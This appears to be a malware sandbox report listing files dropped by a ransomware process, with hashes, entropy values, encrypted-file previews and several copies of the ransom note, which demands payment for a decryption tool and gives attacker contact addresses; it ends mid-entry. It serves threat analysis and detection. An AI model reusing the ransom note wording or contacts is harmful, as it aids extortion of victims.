                                                                                                                                                                Preview:.y.G...U..N.....$-.)..H....$w2$...cw...\...nk_LVw,b.....a...i*.e4............L.McY.z.A.W.2.w.live.com/..U@...NG.......K',8oX...<;F.@.zf...I.e.....I:a.."...m....,..>u[.D..k.97..[2.c."...f....[bH.W.&...o..1.q8-VkVk.;.&..h...9!7|....d...h`.....h.....-.;..t4.n|h.h.4.............)U}...UJ....Mx..6.<wt4..+h.....k.+q..?......m}+..c./........0+.0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:OpenPGP Secret Key
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):375
                                                                                                                                                                Entropy (8bit):7.450933012234986
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:q4DjJvOPBadvLnvh8TsD7igH2YasBl/le3ILUXiYZaa5J6UOZ0Uz74n:J3JvOPaCTsDOgHJael8sUXi85wUOZvon
                                                                                                                                                                MD5:4559776C707A52487D1786EE3BBE3C6E
                                                                                                                                                                SHA1:6836C26C533C6C144527FE3E5D1D3636DEB4507B
                                                                                                                                                                SHA-256:351D2E5D617EDB236846F9916CD061EBBCCBA3F30A09C54F37A523A8A646C1C4
                                                                                                                                                                SHA-512:899345698CE6628190C4DB78A7E64D41EBAD3B0130FF2B198A50B663624426F965A0F440D31FDFED0A95ABB58856782DDED1884DDCA4650140E38D5D65A935B0
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.y.G...U..N.....$-.)..H....$w2$...cw...\...nk_LVw,b.....a...i*.e4............L.McY.z.A.W.2.w.live.com/..U@...NG.......K',8oX...<;F.@.zf...I.e.....I:a.."...m....,..>u[.D..k.97..[2.c."...f....[bH.W.&...o..1.q8-VkVk.;.&..h...9!7|....d...h`.....h.....-.;..t4.n|h.h.4.............)U}...UJ....Mx..6.<wt4..+h.....k.+q..?......m}+..c./........0+.0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):378
                                                                                                                                                                Entropy (8bit):7.392917367339616
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:1D2NeUgQys7TyXvpOqjuzvGsaurHWyTWB58xAjsrWc9vvW0hwgTC7/QalCjqpH/b:wNDf7ggqKzeslzWyWMEsrWMBWgTw/AGF
                                                                                                                                                                MD5:C0F4CB429B198C59E629433EBDD5B650
                                                                                                                                                                SHA1:A8BA1CCE51919758B58A936F5D9935AAF1EB8CDD
                                                                                                                                                                SHA-256:E0EDC474CCFA4B02F561E0BE356E18B5CA92A61CB566DEDBA396412E49531216
                                                                                                                                                                SHA-512:DD4DE67CB1FBAE38F7B61ABD3B4B56956B7E658DB994C1435528737AC3CA67464DAF85A7A36C6FE1EFAB8FC75DEFB04EA5B465364BA199D231DEB8B4798C169B
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:....O......9./.x....y....m.{......i._d.-G..)...l.?..9,.....7 ..3..f.r..U.A...U.`S..UtOw.nytimes.com/........D9.t..z.....f.z...G.y..*Z...a1... W....ux..jy...Yn.:(..3..C.=..h[.r.Y...\..P.Y..8.3S.....@..z!..n....P(...._..X..qFf.g...`....h../.^Fjy...2Q._.M....]...F)...B..^%<E......|..:..gwc)J...#..8hG.......k.{L..l.-..*o...=%...c.R|..h...c.x.t....j0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):378
                                                                                                                                                                Entropy (8bit):7.392917367339616
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:1D2NeUgQys7TyXvpOqjuzvGsaurHWyTWB58xAjsrWc9vvW0hwgTC7/QalCjqpH/b:wNDf7ggqKzeslzWyWMEsrWMBWgTw/AGF
                                                                                                                                                                MD5:C0F4CB429B198C59E629433EBDD5B650
                                                                                                                                                                SHA1:A8BA1CCE51919758B58A936F5D9935AAF1EB8CDD
                                                                                                                                                                SHA-256:E0EDC474CCFA4B02F561E0BE356E18B5CA92A61CB566DEDBA396412E49531216
                                                                                                                                                                SHA-512:DD4DE67CB1FBAE38F7B61ABD3B4B56956B7E658DB994C1435528737AC3CA67464DAF85A7A36C6FE1EFAB8FC75DEFB04EA5B465364BA199D231DEB8B4798C169B
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:....O......9./.x....y....m.{......i._d.-G..)...l.?..9,.....7 ..3..f.r..U.A...U.`S..UtOw.nytimes.com/........D9.t..z.....f.z...G.y..*Z...a1... W....ux..jy...Yn.:(..3..C.=..h[.r.Y...\..P.Y..8.3S.....@..z!..n....P(...._..X..qFf.g...`....h../.^Fjy...2Q._.M....]...F)...B..^%<E......|..:..gwc)J...#..8hG.......k.{L..l.-..*o...=%...c.R|..h...c.x.t....j0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):377
                                                                                                                                                                Entropy (8bit):7.351685424601707
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:ymFHu1XLOHCLnEyiNJQL5q3eA2QIghMQ6J34WTVzn1E0U4yWAlarGQ91tyVuuLEo:ymFOBGC4yibQzbghaoURG42mbl0LEpg9
                                                                                                                                                                MD5:8861F03A8E03F3098531921AB21D6C93
                                                                                                                                                                SHA1:3AD91E23F0F7BD8E15AFCD88AF496B1E06D988C9
                                                                                                                                                                SHA-256:068B3DEC9F279B64566D5DE5A899D5B72D79E0E4F40462D11943ECAAC55E6582
                                                                                                                                                                SHA-512:4F56148F8F2BF726460FA372D82A5C43AB4F7B7BD22774E2C7D710404C7214FBCED08E77A7C63FF5594D540A4ACE67C92DE45E2F76A08030927C3335FA2FB4C0
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:....P...!.Rs.....h.f..g...u.q'.?.t..Q3v...r......q......M~..^........d:Z.-..^...9..Y...Z...w.reddit.com/..A....r*[. ,Gz0..it.....m.|/u....&..s..r.....0u...G..O(a.PN.A.Vl}b..-v(b...u.Y...F...\...#..v.S.i.&.....6..........{=..<.x.h..........E.M.\..[.n..Z...<#l...Y.Y..2/.V`.=..J.L.wT.\.b\.-..v.K8.>...'.3D..`..)..8.6..f.2f..s".......zYI..f........Gz.X.0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):377
                                                                                                                                                                Entropy (8bit):7.351685424601707
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:ymFHu1XLOHCLnEyiNJQL5q3eA2QIghMQ6J34WTVzn1E0U4yWAlarGQ91tyVuuLEo:ymFOBGC4yibQzbghaoURG42mbl0LEpg9
                                                                                                                                                                MD5:8861F03A8E03F3098531921AB21D6C93
                                                                                                                                                                SHA1:3AD91E23F0F7BD8E15AFCD88AF496B1E06D988C9
                                                                                                                                                                SHA-256:068B3DEC9F279B64566D5DE5A899D5B72D79E0E4F40462D11943ECAAC55E6582
                                                                                                                                                                SHA-512:4F56148F8F2BF726460FA372D82A5C43AB4F7B7BD22774E2C7D710404C7214FBCED08E77A7C63FF5594D540A4ACE67C92DE45E2F76A08030927C3335FA2FB4C0
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:....P...!.Rs.....h.f..g...u.q'.?.t..Q3v...r......q......M~..^........d:Z.-..^...9..Y...Z...w.reddit.com/..A....r*[. ,Gz0..it.....m.|/u....&..s..r.....0u...G..O(a.PN.A.Vl}b..-v(b...u.Y...F...\...#..v.S.i.&.....6..........{=..<.x.h..........E.M.\..[.n..Z...<#l...Y.Y..2/.V`.=..J.L.wT.\.b\.-..v.K8.>...'.3D..`..)..8.6..f.2f..s".......zYI..f........Gz.X.0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):378
                                                                                                                                                                Entropy (8bit):7.373554546125376
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:ovVu7kPdGXQwpLuG9bT9L8BpE1T75OKU7dmfwKK9pWOCmmkb6JKaczkADBtmYE7H:ovE7kPdjwp6CTaBATPbK9xPiUDBslYSn
                                                                                                                                                                MD5:59426EBC6E886450C03A5900E41026DF
                                                                                                                                                                SHA1:8E10BC1D93AD4EEAF909FD40FDAEF19CE18B71D7
                                                                                                                                                                SHA-256:0E2DB18BBFEC68A4BA4764F0EC7990C98E0360E128915757FC8A39C49BCB07BC
                                                                                                                                                                SHA-512:BA63E3B9D01546976F8029104679F718A512C5BB594AAA2B206FD3FEF1BC097A406F83C2B87E0D10067E84700CD6F599E4987300A5A4665C414ED9EA5F7FA5EA
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.......$..{.$_j..].....Xn.j.RU..g....#O.....<...b.l.%..c...Z.....De......Xf..*..m9D..C.c.bD..w.twitter.com/.......K.v.j.3H.`.....C..j..s.l6.3C....,...!.l.q.I.._..........E.!..\V.^.b2x.7@Hw9.V.....k.....8@.......Q.....w.U.,}a4...#.;;......3....0-.,[.94@L.,...5s..7...W:.hCKg. n.Tj.u4....x_..^g.m.R`...(...\.h9....fA..hU:...W...b3.'t.......'....|z.fs.0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):378
                                                                                                                                                                Entropy (8bit):7.373554546125376
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:ovVu7kPdGXQwpLuG9bT9L8BpE1T75OKU7dmfwKK9pWOCmmkb6JKaczkADBtmYE7H:ovE7kPdjwp6CTaBATPbK9xPiUDBslYSn
                                                                                                                                                                MD5:59426EBC6E886450C03A5900E41026DF
                                                                                                                                                                SHA1:8E10BC1D93AD4EEAF909FD40FDAEF19CE18B71D7
                                                                                                                                                                SHA-256:0E2DB18BBFEC68A4BA4764F0EC7990C98E0360E128915757FC8A39C49BCB07BC
                                                                                                                                                                SHA-512:BA63E3B9D01546976F8029104679F718A512C5BB594AAA2B206FD3FEF1BC097A406F83C2B87E0D10067E84700CD6F599E4987300A5A4665C414ED9EA5F7FA5EA
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.......$..{.$_j..].....Xn.j.RU..g....#O.....<...b.l.%..c...Z.....De......Xf..*..m9D..C.c.bD..w.twitter.com/.......K.v.j.3H.`.....C..j..s.l6.3C....,...!.l.q.I.._..........E.!..\V.^.b2x.7@Hw9.V.....k.....8@.......Q.....w.U.,}a4...#.;;......3....0-.,[.94@L.,...5s..7...W:.hCKg. n.Tj.u4....x_..^g.m.R`...(...\.h9....fA..hU:...W...b3.'t.......'....|z.fs.0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:OpenPGP Secret Key
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):380
                                                                                                                                                                Entropy (8bit):7.367924220293073
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:667Zm5ML1QZ+6YgWNLXvBVlFcTLmCIRAjfjHxbY7lzpu3DSFx2US9y8knC/78sEY:dWZfYf4LmC4MfVbY1pI+Fx7SiC/78sHn
                                                                                                                                                                MD5:EDC94D10561388890BA21131F8E0F706
                                                                                                                                                                SHA1:668CFDE8939BE792DF8750C5F44B51E46B0F6531
                                                                                                                                                                SHA-256:20F62279132C35A58178FA138A37A8F7D3E3B4A823CBEF821BA59F70453F7411
                                                                                                                                                                SHA-512:D919DC90119164C0BF4FF5B4679696674FD8FC65275E7A9FC8FBFC3AF4D47FD82EC10FDFBC10B738CC0E2EEB490FBC9B5A44CECF4500E89CB7832C3A67A09616
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.$<O.{.K..f.s.U.K. .rX.P..,6.<..L.....3.U ....v}!J.W.5df.n...0...... ...h.W.IE.}.d...r..x...e.N.!TN..y.Stj..n..O6.~..,.h...o-..-C...... uf.X.RXu<.&..NPEq..t8%....y..Nzkq...a..[Tp..{b."....qfh.E]c...~.(..+.).}..~...K#...x..j..{...AZ..P....JbWQ..]{.B..]..Eui..9pB9.O..T..>X.&....P.%.VC.R....g...S..P.(.54Z.p<...&.NVf.7..n...C ...!..=[..bj]B.No....G..0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:OpenPGP Secret Key
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):380
                                                                                                                                                                Entropy (8bit):7.367924220293073
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:667Zm5ML1QZ+6YgWNLXvBVlFcTLmCIRAjfjHxbY7lzpu3DSFx2US9y8knC/78sEY:dWZfYf4LmC4MfVbY1pI+Fx7SiC/78sHn
                                                                                                                                                                MD5:EDC94D10561388890BA21131F8E0F706
                                                                                                                                                                SHA1:668CFDE8939BE792DF8750C5F44B51E46B0F6531
                                                                                                                                                                SHA-256:20F62279132C35A58178FA138A37A8F7D3E3B4A823CBEF821BA59F70453F7411
                                                                                                                                                                SHA-512:D919DC90119164C0BF4FF5B4679696674FD8FC65275E7A9FC8FBFC3AF4D47FD82EC10FDFBC10B738CC0E2EEB490FBC9B5A44CECF4500E89CB7832C3A67A09616
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.$<O.{.K..f.s.U.K. .rX.P..,6.<..L.....3.U ....v}!J.W.5df.n...0...... ...h.W.IE.}.d...r..x...e.N.!TN..y.Stj..n..O6.~..,.h...o-..-C...... uf.X.RXu<.&..NPEq..t8%....y..Nzkq...a..[Tp..{b."....qfh.E]c...~.(..+.).}..~...K#...x..j..{...AZ..P....JbWQ..]{.B..]..Eui..9pB9.O..T..>X.&....P.%.VC.R....g...S..P.(.54Z.p<...&.NVf.7..n...C ...!..=[..bj]B.No....G..0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):378
                                                                                                                                                                Entropy (8bit):7.416403718023685
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:OTfQuNBUZBaiIT6VK0G/vvb5bmSc8l7uazPqBcePVnLANmNPSY/7OQuz/Aiw5x47:OLQuzc0rTt0G/nhrc8l7uaeaYBA4ORb9
                                                                                                                                                                MD5:3312290CA6DDEBAD26C74DE0D92859CC
                                                                                                                                                                SHA1:32FAAA8ED6EA4E5496F44FB09B88BBFED43B0CAE
                                                                                                                                                                SHA-256:DB92EB8305656CCA27C5C1E6A1CCB1D17436BC9A08F355BEFFCA27873F03AF0D
                                                                                                                                                                SHA-512:73114D7246EA0F7210ADFE8A7514A723FE42BDA537C59FDDE9122EEAD1187E3868637E4CD7F5B76CE407BF058B8AEB7CC42A515FDD78FDC5841B944010166254
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:....l.b...`.:QX.R....".9..."l.J....9.i.T...G..7&.!K..0C.....U.../.G..K....uh[.......... ...q.?w.youtube.com/..Y..C.x.....B.>......{...g..T...k....Z...o...r.....V.w...`~H...Vc!..~.....W....X.3[S.,9....Bg...uw..%....>.{dk.(...;..x..S...vA\w;.......Uh.9.^...5. .....{P..&.D.G.6J.=.A....NA..{...np3.^.~....9..|....../...K[:.............-.KQ`{x...q.....S....0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):378
                                                                                                                                                                Entropy (8bit):7.416403718023685
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:OTfQuNBUZBaiIT6VK0G/vvb5bmSc8l7uazPqBcePVnLANmNPSY/7OQuz/Aiw5x47:OLQuzc0rTt0G/nhrc8l7uaeaYBA4ORb9
                                                                                                                                                                MD5:3312290CA6DDEBAD26C74DE0D92859CC
                                                                                                                                                                SHA1:32FAAA8ED6EA4E5496F44FB09B88BBFED43B0CAE
                                                                                                                                                                SHA-256:DB92EB8305656CCA27C5C1E6A1CCB1D17436BC9A08F355BEFFCA27873F03AF0D
                                                                                                                                                                SHA-512:73114D7246EA0F7210ADFE8A7514A723FE42BDA537C59FDDE9122EEAD1187E3868637E4CD7F5B76CE407BF058B8AEB7CC42A515FDD78FDC5841B944010166254
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:....l.b...`.:QX.R....".9..."l.J....9.i.T...G..7&.!K..0C.....U.../.G..K....uh[.......... ...q.?w.youtube.com/..Y..C.x.....B.>......{...g..T...k....Z...o...r.....V.w...`~H...Vc!..~.....W....X.3[S.,9....Bg...uw..%....>.{dk.(...;..x..S...vA\w;.......Uh.9.^...5. .....{P..&.D.G.6J.=.A....NA..{...np3.^.~....9..|....../...K[:.............-.KQ`{x...q.....S....0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):266
                                                                                                                                                                Entropy (8bit):7.152297180103733
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:tTGK8cKjvorpkuIzl9+3M7IIcjhcuM9RTpo3io9yQn6n:l/8cYorpkHp9+hcuMdoxun
                                                                                                                                                                MD5:B1E0072EC2E6466EBC4C76EE6A23AFDD
                                                                                                                                                                SHA1:520F01A787A9264531D4E43A1FD53E398E94E47F
                                                                                                                                                                SHA-256:298A3FEB81B362DCD2D345551767EBD684C4DFC21B2F6519B886DCAF5A0673F9
                                                                                                                                                                SHA-512:97D0FF51C9477930ABE86EA47ACEBFA93373D219DE37A8FC92B1AD3BA6237CD33EFEAFFA1BFACBC4F02B7E2E9C0E7F6D248C7C6AE12075EE72DE1589C0036D22
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.uUD....!.ZP....e.=h..`...GPQ2..{.....@;..... :...........PW{$*.Y......m{..k..#...C..q..k)..zw...I....A$%.=..A...lApR^Wy.u}r.d...T..q.$[.fW@.".-)J8......C?0x...l.M.`.B....C.Q'..L|.y..5P.....D.....!._f,.qp/.'.i.3.P.3#.U.._.o...^......K....F...FDbY'0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):266
                                                                                                                                                                Entropy (8bit):7.07948490358399
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:aeaRIScUhHoSN4Mop2+Kcud4k+i5mWLzXIuqrB5R2O2nwn:LEISTFRPL+i5/Lz4GO2wn
                                                                                                                                                                MD5:00E264B042083AB2B01E911F96E2E26A
                                                                                                                                                                SHA1:66FC36DB5DA328643CF0E7122B0ED9D90D43FE84
                                                                                                                                                                SHA-256:0CF38E09E665E6C04338ECC6F1648746ACDE575549045767015AA2B5188F0D26
                                                                                                                                                                SHA-512:2BB738E52F98EF8B0B98B7ADFAFB9F078491BE42D691FD19F53A9F3A3F5B5A6CF8D0433BE97AE0D2C98BD55ED66CBC2F2DD2E830DB9E294AA8A4717A29FC740C
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:s........c......b.P....#j.y.9.,.7@.e.w@A.lO.?C..{......o....f ...c..$...y...1....]f...M.GfW...oh.&.....%._Em...Y. o..E.C.h .Y{....vV.#o.C[..Q..|....H}Y... b.].?..8t.$.=@...Q9....U.C.Xp.L...{...W.A?....h.5.m}-^....}....FE.V.&.......R....l..?.5..0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
